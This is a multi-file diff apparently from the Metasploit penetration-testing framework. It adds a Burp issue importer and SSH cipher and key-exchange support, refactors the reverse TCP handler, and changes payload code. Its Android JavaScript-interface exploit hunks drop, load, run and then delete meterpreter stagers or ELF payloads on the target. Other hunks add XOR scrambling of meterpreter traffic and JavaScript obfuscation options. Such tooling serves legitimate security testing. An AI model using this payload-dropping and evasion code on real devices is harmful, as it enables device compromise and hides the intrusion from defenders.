@import_filedata[:type] = "Burp Issue XML"
return :burp_issue_xml
elsif (firstline.index("<?xml"))
# it's xml, check for root tags we can handle
line_count = 0

View File

@ -0,0 +1,20 @@
require 'rex/parser/burp_issue_nokogiri'
module Msf::DBManager::Import::BurpIssue
def import_burp_issue_xml(args={}, &block)
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
wspace = args[:wspace] || workspace
parser = "Nokogiri v#{::Nokogiri::VERSION}"
noko_args = args.dup
noko_args[:blacklist] = bl
noko_args[:wspace] = wspace
if block
yield(:parser, parser)
doc = Rex::Parser::BurpIssueDocument.new(args,framework.db) {|type, data| yield type,data }
else
doc = Rex::Parser::BurpIssueDocument.new(args,self)
end
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
parser.parse(args[:data])
end
end

View File

@ -1,6 +1,6 @@
require 'rex/parser/burp_session_nokogiri'
module Msf::DBManager::Import::Burp
module Msf::DBManager::Import::BurpSession
def import_burp_session_noko_stream(args={},&block)
if block
doc = Rex::Parser::BurpSessionDocument.new(args,framework.db) {|type, data| yield type,data }

View File

@ -43,6 +43,7 @@ module Msf::DBManager::Service
# opts may contain
# +:name+:: the application layer protocol (e.g. ssh, mssql, smb)
# +:sname+:: an alias for the above
# +:workspace+:: the workspace for the service
#
def report_service(opts)
return if not active

View File

@ -19,7 +19,6 @@ module Exploit::Android
}
def add_javascript_interface_exploit_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
%Q|
function exec(runtime, cmdArr) {
var ch = 0;
@ -47,35 +46,7 @@ module Exploit::Android
.getMethod('getRuntime', null)
.invoke(null, null);
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
#{payload.arch[0] == ARCH_DALVIK ? stager_js(arch) : linux_exe_js(arch)}
return true;
}
@ -84,6 +55,62 @@ module Exploit::Android
|
end
def stager_js(arch)
stagename = Rex::Text.rand_text_alpha(5)
%Q|
// libraryData contains the bytes for a native shared object built via NDK
// which will load the "stage", which in this case is our android meterpreter stager.
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
// another stager which loads android meterpreter from the msf handler.
var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
runtime.exec(['chmod', '700', libraryPath]).waitFor();
// build the stage, chmod it, and load it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
runtime.exec(['chmod', '700', stagePath]).waitFor();
// load the library
runtime.load(libraryPath);
// delete dropped files
runtime.exec(['rm', stagePath]).waitFor();
runtime.exec(['rm', libraryPath]).waitFor();
|
end
def linux_exe_js(arch)
platform_list = Msf::Module::PlatformList.new(Msf::Module::Platform::Linux)
%Q|
var payloadData = "#{Rex::Text.to_octal(payload.encoded_exe(arch: arch, platform: platform_list), '\\\\0')}";
// get the process name, which will give us our data path
// $PPID does not seem to work on android 4.0, so we concat pids manually
var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var payloadPath = path + '/#{Rex::Text.rand_text_alpha(8)}';
// build the library and chmod it
runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+payloadData+'" > '+payloadPath]).waitFor();
runtime.exec(['chmod', '700', payloadPath]).waitFor();
// run the payload
runtime.exec(['/system/bin/sh', '-c', payloadPath + ' &']).waitFor();
// delete dropped files
runtime.exec(['rm', payloadPath]).waitFor();
|
end
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)

View File

@ -37,6 +37,7 @@ module Exploit::Remote::HttpClient
Opt::RHOST,
Opt::RPORT(80),
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
Opt::Proxies
], self.class
)
@ -49,7 +50,6 @@ module Exploit::Remote::HttpClient
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),

View File

@ -8,7 +8,8 @@ module Msf
def initialize(info={})
super
register_advanced_options([
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0])
OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]),
OptString.new('JsIdentifiers', [false, "Identifiers to preserve for JsObfu"])
], Exploit::JSObfu)
end
@ -18,14 +19,20 @@ module Msf
# @param js [String] JavaScript code
# @param opts [Hash] obfuscation options
# * :iterations [FixNum] Number of times to obfuscate
# * :preserved_identifiers [Array] An array of identifiers to preserve during obfuscation
# @return [::Rex::Exploitation::JSObfu]
#
def js_obfuscate(js, opts={})
iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i
identifiers = opts[:preserved_identifiers].blank? ? (datastore['JsIdentifiers'] || '').split(',') : opts[:preserved_identifiers]
obfu = ::Rex::Exploitation::JSObfu.new(js)
obfu.obfuscate(:iterations=>iterations)
obfu_opts = {}
obfu_opts.merge!(iterations: iterations)
obfu_opts.merge!(preserved_identifiers: identifiers)
obfu.obfuscate(obfu_opts)
obfu
end
end
end
end

View File

@ -69,7 +69,7 @@ module Exploit::Remote::MSSQL
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
], Msf::Exploit::Remote::MSSQL)
register_advanced_options(

View File

@ -63,7 +63,7 @@ module Exploit::Remote::Tcp
register_advanced_options(
[
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL/TLS to be used (TLS and SSL23 are auto-negotiate)', 'TLS1', ['SSL2', 'SSL3', 'SSL23', 'TLS', 'TLS1', 'TLS1.1', 'TLS1.2']]),
OptEnum.new('SSLVerifyMode', [ false, 'SSL verification method', 'PEER', %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}]),
OptString.new('SSLCipher', [ false, 'String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"']),

View File

@ -162,10 +162,6 @@ module Exploit::Remote::TcpServer
self.service.stop
end
if service.kind_of?(Rex::Proto::Http::Server)
service.stop
end
self.service = nil
rescue ::Exception
end

View File

@ -4,7 +4,6 @@ require 'thread'
module Msf
module Handler
###
#
# This module implements the reverse TCP handler. This means
@ -16,7 +15,6 @@ module Handler
#
###
module ReverseTcp
include Msf::Handler
include Msf::Handler::Reverse
include Msf::Handler::Reverse::Comm
@ -26,7 +24,7 @@ module ReverseTcp
# 'reverse_tcp'.
#
def self.handler_type
return "reverse_tcp"
"reverse_tcp"
end
#
@ -55,7 +53,6 @@ module ReverseTcp
self.conn_threads = []
end
#
# Closes the listener socket if one was created.
#
@ -64,9 +61,13 @@ module ReverseTcp
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads.each { |thr|
thr.kill rescue nil
}
conn_threads.each do |thr|
begin
thr.kill
rescue
nil
end
end
end
# A string suitable for displaying to the user
@ -84,65 +85,68 @@ module ReverseTcp
local_port = bind_port
self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false, queue) { |lqueue|
handler_name = "ReverseTcpHandlerListener-#{local_port}"
self.listener_thread = framework.threads.spawn(handler_name, false, queue) { |lqueue|
loop do
# Accept a client connection
begin
client = self.listener_sock.accept
if ! client
wlog("ReverseTcpHandlerListener-#{local_port}: No client received in call to accept, exiting...")
break
client = listener_sock.accept
if client
self.pending_connections += 1
lqueue.push(client)
end
self.pending_connections += 1
lqueue.push(client)
rescue ::Exception
wlog("ReverseTcpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
break
rescue Errno::ENOTCONN
nil
rescue StandardError => e
wlog [
"#{handler_name}: Exception raised during listener accept: #{e.class}",
"#{$ERROR_INFO}",
"#{$ERROR_POSITION.join("\n")}"
].join("\n")
end
end
}
self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false, queue) { |cqueue|
worker_name = "ReverseTcpHandlerWorker-#{local_port}"
self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue|
loop do
begin
client = cqueue.pop
if ! client
elog("ReverseTcpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...")
break
unless client
elog("#{worker_name}: Queue returned an empty result, exiting...")
end
# Timeout and datastore options need to be passed through to the client
opts = {
:datastore => datastore,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
datastore: datastore,
expiration: datastore['SessionExpirationTimeout'].to_i,
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
retry_total: datastore['SessionRetryTotal'].to_i,
retry_wait: datastore['SessionRetryWait'].to_i
}
if datastore['ReverseListenerThreaded']
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
thread_name = "#{worker_name}-#{client.peerhost}"
conn_threads << framework.threads.spawn(thread_name, false, client) do |client_copy|
handle_connection(wrap_aes_socket(client_copy), opts)
}
end
else
handle_connection(wrap_aes_socket(client), opts)
end
rescue ::Exception
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
rescue StandardError
elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}")
end
end
}
end
def wrap_aes_socket(sock)
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
if datastore["PAYLOAD"] !~ %r{java/} || (datastore["AESPassword"] || "") == ""
return sock
end
socks = Rex::Socket::tcp_socket_pair()
socks = Rex::Socket.tcp_socket_pair
socks[0].extend(Rex::Socket::Tcp)
socks[1].extend(Rex::Socket::Tcp)
@ -150,36 +154,38 @@ module ReverseTcp
m.reset
key = m.digest(datastore["AESPassword"] || "")
Rex::ThreadFactory.spawn('Session-AESEncrypt', false) {
Rex::ThreadFactory.spawn('Session-AESEncrypt', false) do
c1 = OpenSSL::Cipher.new('aes-128-cfb8')
c1.encrypt
c1.key=key
c1.key = key
sock.put([0].pack('N'))
sock.put(c1.iv=c1.random_iv)
sock.put((c1.iv = c1.random_iv))
buf1 = socks[0].read(4096)
while buf1 and buf1 != ""
while buf1 && buf1 != ""
sock.put(c1.update(buf1))
buf1 = socks[0].read(4096)
end
sock.close()
}
Rex::ThreadFactory.spawn('Session-AESDecrypt', false) {
sock.close
end
Rex::ThreadFactory.spawn('Session-AESDecrypt', false) do
c2 = OpenSSL::Cipher.new('aes-128-cfb8')
c2.decrypt
c2.key=key
iv=""
while iv.length < 16
iv << sock.read(16-iv.length)
end
c2.key = key
iv = ""
iv << sock.read(16 - iv.length) while iv.length < 16
c2.iv = iv
buf2 = sock.read(4096)
while buf2 and buf2 != ""
while buf2 && buf2 != ""
socks[0].put(c2.update(buf2))
buf2 = sock.read(4096)
end
socks[0].close()
}
return socks[1]
socks[0].close
end
socks[1]
end
#
@ -187,35 +193,27 @@ module ReverseTcp
#
def stop_handler
# Terminate the listener thread
if (self.listener_thread and self.listener_thread.alive? == true)
self.listener_thread.kill
self.listener_thread = nil
end
listener_thread.kill if listener_thread && listener_thread.alive? == true
# Terminate the handler thread
if (self.handler_thread and self.handler_thread.alive? == true)
self.handler_thread.kill
self.handler_thread = nil
end
handler_thread.kill if handler_thread && handler_thread.alive? == true
if (self.listener_sock)
if listener_sock
begin
self.listener_sock.close
listener_sock.close
rescue IOError
# Ignore if it's listening on a dead session
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
end
self.listener_sock = nil
end
end
protected
protected
attr_accessor :listener_sock # :nodoc:
attr_accessor :listener_thread # :nodoc:
attr_accessor :handler_thread # :nodoc:
attr_accessor :conn_threads # :nodoc:
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'thread'
require 'msf/core/handler/reverse_tcp'
module Msf
module Handler

View File

@ -3081,7 +3081,7 @@ class Core
option_values_target_addrs().each do |addr|
res << addr
end
when 'LHOST', 'SRVHOST'
when 'LHOST', 'SRVHOST', 'REVERSELISTENERBINDADDRESS'
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)

View File

@ -745,7 +745,7 @@ class Db
# mode = :add
#when "-d"
# mode = :delete
when "-h"
when "-h","--help"
cmd_vulns_help
return
when "-p","--port"
@ -1647,6 +1647,7 @@ class Db
print_line " Amap Log -m"
print_line " Appscan"
print_line " Burp Session XML"
print_line " Burp Issue XML"
print_line " CI"
print_line " Foundstone"
print_line " FusionVM XML"

View File

@ -25,15 +25,23 @@ module Net; module SSH; module Transport
ALGORITHMS = {
:host_key => %w(ssh-rsa ssh-dss),
:kex => %w(diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1),
diffie-hellman-group1-sha1
diffie-hellman-group-exchange-sha256),
:encryption => %w(aes128-cbc 3des-cbc blowfish-cbc cast128-cbc
aes192-cbc aes256-cbc rijndael-cbc@lysator.liu.se
idea-cbc none arcfour128 arcfour256),
idea-cbc none arcfour128 arcfour256
aes128-ctr aes192-ctr aes256-ctr),
:hmac => %w(hmac-sha1 hmac-md5 hmac-sha1-96 hmac-md5-96 none),
:compression => %w(none zlib@openssh.com zlib),
:language => %w()
}
if defined?(OpenSSL::PKey::EC)
ALGORITHMS[:kex] += %w(ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521)
end
# The underlying transport layer session that supports this object
attr_reader :session

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'openssl'
require 'net/ssh/transport/identity_cipher'
require 'net/ssh/transport/ctr.rb'
module Net; module SSH; module Transport
@ -13,6 +14,9 @@ module Net; module SSH; module Transport
"aes256-cbc" => "aes-256-cbc",
"aes192-cbc" => "aes-192-cbc",
"aes128-cbc" => "aes-128-cbc",
"aes128-ctr" => "aes-128-ecb",
"aes192-ctr" => "aes-192-ecb",
"aes256-ctr" => "aes-256-ecb",
"idea-cbc" => "idea-cbc",
"cast128-cbc" => "cast-cbc",
"rijndael-cbc@lysator.liu.se" => "aes-256-cbc",
@ -41,6 +45,8 @@ module Net; module SSH; module Transport
cipher = OpenSSL::Cipher::Cipher.new(ossl_name)
cipher.send(options[:encrypt] ? :encrypt : :decrypt)
cipher.extend(Net::SSH::Transport::CTR) if (name =~ /-ctr$/)
cipher.padding = 0
cipher.iv = make_key(cipher.iv_len, options[:iv], options) if ossl_name != "rc4"
cipher.key_len = 32 if name == "arcfour256"

View File

@ -27,5 +27,7 @@ module Net; module SSH; module Transport
KEXDH_INIT = 30
KEXDH_REPLY = 31
KEXECDH_INIT = 30
KEXECDH_REPLY = 31
end
end; end; end

View File

@ -0,0 +1,96 @@
# -*- coding: binary -*-
require 'openssl'
module Net::SSH::Transport
# Pure-Ruby implementation of Stateful Decryption Counter(SDCTR) Mode
# for Block Ciphers. See RFC4344 for detail.
module CTR
def self.extended(orig)
orig.instance_eval {
@remaining = ""
@counter = nil
@counter_len = orig.block_size
orig.encrypt
orig.padding = 0
}
class <<orig
alias :_update :update
private :_update
undef :update
def iv
@counter
end
def iv_len
block_size
end
def iv=(iv_s)
@counter = iv_s if @counter.nil?
end
def encrypt
# DO NOTHING (always set to "encrypt")
end
def decrypt
# DO NOTHING (always set to "decrypt")
end
def padding=(pad)
# DO NOTHING (always 0)
end
def reset
@remaining = ""
end
def update(data)
@remaining += data
encrypted = ""
while @remaining.bytesize >= block_size
encrypted += xor!(@remaining.slice!(0, block_size),
_update(@counter))
increment_counter!
end
encrypted
end
def final
unless @remaining.empty?
s = xor!(@remaining, _update(@counter))
else
s = ""
end
@remaining = ""
s
end
private
def xor!(s1, s2)
s = []
s1.unpack('Q*').zip(s2.unpack('Q*')) {|a,b| s.push(a^b) }
s.pack('Q*')
end
def increment_counter!
c = @counter_len
while ((c -= 1) > 0)
if @counter.setbyte(c, (@counter.getbyte(c) + 1) & 0xff) != 0
break
end
end
end
end
end
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha256'
module Net::SSH::Transport
module Kex
@ -10,5 +11,18 @@ module Net::SSH::Transport
'diffie-hellman-group-exchange-sha1' => DiffieHellmanGroupExchangeSHA1,
'diffie-hellman-group1-sha1' => DiffieHellmanGroup1SHA1
}
if defined?(OpenSSL::PKey::EC)
require 'net/ssh/transport/kex/ecdh_sha2_nistp256'
require 'net/ssh/transport/kex/ecdh_sha2_nistp384'
require 'net/ssh/transport/kex/ecdh_sha2_nistp521'
MAP['ecdh-sha2-nistp256'] = EcdhSHA2NistP256
MAP['ecdh-sha2-nistp384'] = EcdhSHA2NistP384
MAP['ecdh-sha2-nistp521'] = EcdhSHA2NistP521
end
if defined?(DiffieHellmanGroupExchangeSHA256)
MAP['diffie-hellman-group-exchange-sha256'] = DiffieHellmanGroupExchangeSHA256
end
end
end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
module Net::SSH::Transport::Kex
if defined?(OpenSSL::Digest::SHA256)
# A key-exchange service implementing the
# "diffie-hellman-group-exchange-sha256" key-exchange algorithm.
class DiffieHellmanGroupExchangeSHA256 < DiffieHellmanGroupExchangeSHA1
def initialize(*args)
super(*args)
@digester = OpenSSL::Digest::SHA256
end
end
end
end

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'net/ssh/transport/constants'
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp256"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP256 < DiffieHellmanGroup1SHA1
include Constants, Loggable
attr_reader :ecdh
def digester
OpenSSL::Digest::SHA256
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp256']
end
def initialize(algorithms, connection, data)
@algorithms = algorithms
@connection = connection
@digester = digester
@data = data.dup
@ecdh = generate_key
@logger = @data.delete(:logger)
end
private
def get_message_types
[KEXECDH_INIT, KEXECDH_REPLY]
end
def build_signature_buffer(result)
response = Net::SSH::Buffer.new
response.write_string data[:client_version_string],
data[:server_version_string],
data[:client_algorithm_packet],
data[:server_algorithm_packet],
result[:key_blob],
ecdh.public_key.to_bn.to_s(2),
result[:server_ecdh_pubkey]
response.write_bignum result[:shared_secret]
response
end
def generate_key #:nodoc:
OpenSSL::PKey::EC.new(curve_name).generate_key
end
def send_kexinit #:nodoc:
init, reply = get_message_types
# send the KEXECDH_INIT message
## byte SSH_MSG_KEX_ECDH_INIT
## string Q_C, client's ephemeral public key octet string
buffer = Net::SSH::Buffer.from(:byte, init, :string, ecdh.public_key.to_bn.to_s(2))
connection.send_message(buffer)
# expect the following KEXECDH_REPLY message
## byte SSH_MSG_KEX_ECDH_REPLY
## string K_S, server's public host key
## string Q_S, server's ephemeral public key octet string
## string the signature on the exchange hash
buffer = connection.next_message
raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply
result = Hash.new
result[:key_blob] = buffer.read_string
result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key
result[:server_ecdh_pubkey] = buffer.read_string
# compute shared secret from server's public key and client's private key
pk = OpenSSL::PKey::EC::Point.new(OpenSSL::PKey::EC.new(curve_name).group,
OpenSSL::BN.new(result[:server_ecdh_pubkey], 2))
result[:shared_secret] = OpenSSL::BN.new(ecdh.dh_compute_key(pk), 2)
sig_buffer = Net::SSH::Buffer.new(buffer.read_string)
sig_type = sig_buffer.read_string
if sig_type != algorithms.host_key
raise Net::SSH::Exception,
"host key algorithm mismatch for signature " +
"'#{sig_type}' != '#{algorithms.host_key}'"
end
result[:server_sig] = sig_buffer.read_string
return result
end
end
end; end; end; end

View File

@ -0,0 +1,14 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp384"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP384 < EcdhSHA2NistP256
def digester
OpenSSL::Digest::SHA384
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp384']
end
end
end; end; end; end

View File

@ -0,0 +1,14 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport; module Kex
# A key-exchange service implementing the "ecdh-sha2-nistp521"
# key-exchange algorithm. (defined in RFC 5656)
class EcdhSHA2NistP521 < EcdhSHA2NistP256
def digester
OpenSSL::Digest::SHA512
end
def curve_name
OpenSSL::PKey::EC::CurveNameAlias['nistp521']
end
end
end; end; end; end

View File

@ -124,6 +124,19 @@ module OpenSSL
end
end
if defined?(OpenSSL::PKey::EC)
# This class is originally defined in the OpenSSL module. As needed, methods
# have been added to it by the Net::SSH module for convenience in dealing
# with SSH funcationality.
class EC
CurveNameAlias = {
"nistp256" => "prime256v1",
"nistp384" => "secp384r1",
"nistp521" => "secp521r1",
}
end
end
end
end

View File

@ -35,7 +35,7 @@ class CmdStagerEcho < CmdStagerBase
end
# by default use the 'hex' encoding
opts[:enc_format] = opts[:enc_format] || 'hex'
opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s
unless ENCODINGS.keys.include?(opts[:enc_format])
raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
@ -58,7 +58,7 @@ class CmdStagerEcho < CmdStagerBase
xtra_len = @cmd_start.length + @cmd_end.length
opts.merge!({ :extra => xtra_len })
@prefix = ENCODINGS[opts[:enc_format]]
@prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
min_part_size = 5 # for both encodings
if (opts[:linemax] - opts[:extra]) < min_part_size
@ -108,7 +108,7 @@ class CmdStagerEcho < CmdStagerBase
# Make it all happen
cmds << "chmod 777 #{@tempdir}#{@var_elf}"
#cmds << "chmod +x #{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
# Clean up after unless requested not to..
unless opts[:nodelete]

View File

@ -59,6 +59,8 @@ module Rex
@text = nil
when "StartURL" # Populates @state[:starturl_uri], we use this a lot
@state[:has_text] = false
# StartURL does not always include the scheme
@text.prepend("http://") unless URI.parse(@text).scheme
collect_host
collect_service
@text = nil

View File

@ -0,0 +1,139 @@
# -*- coding: binary -*-
require "rex/parser/nokogiri_doc_mixin"
require 'uri'
module Rex
module Parser
# If Nokogiri is available, define Burp Issue document class.
load_nokogiri && class BurpIssueDocument < Nokogiri::XML::SAX::Document
include NokogiriDocMixin
def start_element(name=nil,attrs=[])
attrs = normalize_attrs(attrs)
block = @block
@state[:current_tag][name] = true
case name
when "host", "name", "info", "issueDetail", "references"
@state[:has_text] = true
end
end
def end_element(name=nil)
block = @block
case name
when "issue"
report_web_host_info
report_web_service_info
report_vuln
# Reset the state once we close a host
@state = @state.select {|k| [:current_tag].include? k}
when "host"
@state[:has_text] = false
collect_host_info
@text = nil
when "name"
@state[:has_text] = false
collect_name
@text = nil
when "issueDetail"
@state[:has_text] = false
collect_issue_detail
@text = nil
when "references"
@state[:has_text] = false
collect_references
@text = nil
end
@state[:current_tag].delete name
end
def collect_host_info
return unless in_issue
return unless has_text
uri = URI(@text)
@state[:host] = uri.host
@state[:service_name] = uri.scheme
@state[:proto] = "tcp"
case @state[:service_name]
when "http"
@state[:port] = 80
when "https"
@state[:port] = 443
end
end
def collect_name
return unless in_issue
return unless has_text
@state[:vuln_name] = @text
end
def collect_issue_detail
return unless in_issue
return unless has_text
@state[:issue_detail] = @text
end
def collect_references
return unless in_issue
return unless has_text
uri = @text.match('href=[\'"]?([^\'" >]+)')[1]
@state[:refs] = ["URI-#{uri}"]
end
def report_web_host_info
return unless @state[:host]
address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil
host_info = {:workspace => @args[:wspace]}
host_info[:address] = address
host_info[:name] = @state[:host]
db_report(:host, host_info)
end
def report_web_service_info
return unless @state[:host]
return unless @state[:port]
return unless @state[:proto]
return unless @state[:service_name]
service_info = {}
service_info[:host] = @state[:host]
service_info[:port] = @state[:port]
service_info[:proto] = @state[:proto]
service_info[:name] = @state[:service_name]
@state[:service_object] = db_report(:service, service_info)
end
def report_vuln
return unless @state[:service_object]
return unless @state[:vuln_name]
return unless @state[:issue_detail]
return unless @state[:refs]
vuln_info = {}
vuln_info[:service_id] = @state[:service_object].id
vuln_info[:host] = @state[:host]
vuln_info[:name] = @state[:vuln_name]
vuln_info[:info] = @state[:issue_detail]
vuln_info[:refs] = @state[:refs]
@state[:vuln_object] = db_report(:vuln, vuln_info)
end
def in_issue
return false unless in_tag("issue")
return false unless in_tag("issues")
return true
end
def has_text
return false unless @text
return false if @text.strip.empty?
@text = @text.strip
end
end
end
end

View File

@ -157,7 +157,7 @@ module Rex
host_info = {:workspace => @args[:wspace]}
host_info[:address] = @state[:web_site].service.host.address
host_info[:name] = @state[:uri].host
report_db(:host, host_info)
db_report(:host, host_info)
end
def report_web_service_info

View File

@ -49,14 +49,7 @@ class Ini < Hash
end
end
#
# Enumerates the groups hash keys.
#
def each_group(&block)
self.keys.each { |k|
yield
}
end
alias each_group each_key
#
# Adds a group of the supplied name if it doesn't already exist.

View File

@ -200,6 +200,11 @@ module Parser
return attr_pairs
end
# Removes HTML from a string
def strip_html_tags(text)
return text.gsub!(/(<[^>]*>)|\n|\t/s) {" "}
end
# This breaks xml-encoded characters, so need to append.
# It's on the end_element tag name to turn the appending
# off and clear out the data.

View File

@ -665,6 +665,44 @@ class Packet < GroupTlv
end
end
#
# Override the function that creates the raw byte stream for
# sending so that it generates an XOR key, uses it to scramble
# the serialized TLV content, and then returns the key plus the
# scrambled data as the payload.
#
def to_r
raw = super
xor_key = rand(254) + 1
xor_key |= (rand(254) + 1) << 8
xor_key |= (rand(254) + 1) << 16
xor_key |= (rand(254) + 1) << 24
result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
result
end
#
# Override the function that reads from a raw byte stream so
# that the XORing of data is included in the process prior to
# passing it on to the default functionality that can parse
# the TLV values.
#
def from_r(bytes)
xor_key = bytes[0,4].unpack('N')[0]
super(xor_bytes(xor_key, bytes[4, bytes.length]))
end
#
# Xor a set of bytes with a given DWORD xor key.
#
def xor_bytes(xor_key, bytes)
result = ''
bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
result << (b[0].ord ^ b[1].ord).chr
end
result
end
##
#
# Conditionals

View File

@ -117,8 +117,7 @@ module PacketDispatcher
self.last_checkin = Time.now
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
if req.body[0,4] == "RECV"
if req.method == 'GET'
rpkt = send_queue.shift
resp.body = rpkt || ''
begin
@ -176,6 +175,7 @@ module PacketDispatcher
end
end
if bytes.to_i == 0
# Mark the session itself as dead
self.alive = false

View File

@ -12,6 +12,11 @@ module Meterpreter
###
class PacketParser
# 4 byte xor
# 4 byte length
# 4 byte type
HEADER_SIZE = 12
#
# Initializes the packet parser context with an optional cipher.
#
@ -26,7 +31,7 @@ class PacketParser
#
def reset
self.raw = ''
self.hdr_length_left = 8
